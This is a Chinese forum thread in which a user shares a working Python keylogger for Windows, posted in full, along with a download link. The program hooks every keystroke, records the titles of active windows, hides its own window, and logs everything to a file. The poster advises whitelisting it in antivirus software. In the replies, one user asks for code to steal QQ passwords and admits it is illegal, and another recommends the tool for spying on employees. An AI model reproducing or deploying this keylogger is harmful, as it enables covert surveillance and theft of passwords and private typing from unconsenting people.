fj0716 发表于 2019-8-2 15:58

分享一个键盘记录器

本帖最后由 fj0716 于 2019-8-2 16:13 编辑

源码是之前网上找的,自己修改了一下。已附上源码,不放心的可以自己编译打包。
打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下。
记得有杀毒软件的添加到白名单。

链接: https://pan.baidu.com/s/18K5itPsO9d2wiAAYo6YpyQ 提取码: c1b3

# -*- coding: utf-8 -*-   
from ctypes import *
import pythoncom
import PyHook3
import win32clipboard
import os,sys
import time
path=os.getcwd()

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数
def OnKeyboardEvent(event):
    global current_window,path
    FileStr=""
   
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.Window != current_window:
      current_window = event.Window
      # event.WindowName有时候会不好用
      # 所以调用底层API喊来获取窗口标题
      windowTitle = create_string_buffer(512)
      windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
      windowName = windowTitle.value.decode('gbk')
      FileStr+="\n"+("-"*50)+"\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))
      #print("\n-----------------")
      #print("窗口名:%s"%windowName)
      # print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
      FileStr+=chr(event.Ascii)
      #print(chr(event.Ascii),end=''
    else:
      if(event.Key=="Space"):
            FileStr+=" "
      elif(event.Key=="Return"):
            FileStr+="[回车] "
      elif(event.Key=="Back"):
            FileStr+="[删除] "
    #写入文件   
    fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器
kl = PyHook3.HookManager()#
kl.KeyDown = OnKeyboardEvent


#写入日期   
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write('\n\n'+'#######################################'
        +'\n#'+' '*9+time.strftime('%Y-%m-%d %H:%M:%S')+' '*9+'#'
        +'\n'+'#######################################')
fp.close()
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

Koribls 发表于 2019-8-5 01:47

楼主,有没有QQKey和QQ密正的源码,我知道这东西犯法,但是确实需要,大佬既然发了记录器,当然肯定会有记录QQKey和QQ密正的技术,希望大佬能研究一下发出来,感谢!

大白baymax 发表于 2021-7-25 12:32

缺少模块PyHook3,用pip也安装不成功,请问楼主咋办呢?

vixiaobai 发表于 2019-8-2 16:05

谢谢分享。

ljhe 发表于 2019-8-2 16:10

谢谢分享 不错的

zpycs 发表于 2019-8-2 16:10

感谢分享,下载试试。

lingjin3 发表于 2019-8-2 16:29

很好用,非常感谢

huyang20190313 发表于 2019-8-2 16:33

厉害了,先收藏了

王美君 发表于 2019-8-2 16:36

支持了楼主,谢谢楼主

yechipeng8 发表于 2019-8-2 16:38

对员工监控的好软件。。。。

lyjackluck 发表于 2019-8-2 16:40

下载试下效果

zhong_xj 发表于 2019-8-2 16:41

谢谢分享,下载试试
页: [1] 2 3 4 5 6 7 8 9
查看完整版本: 分享一个键盘记录器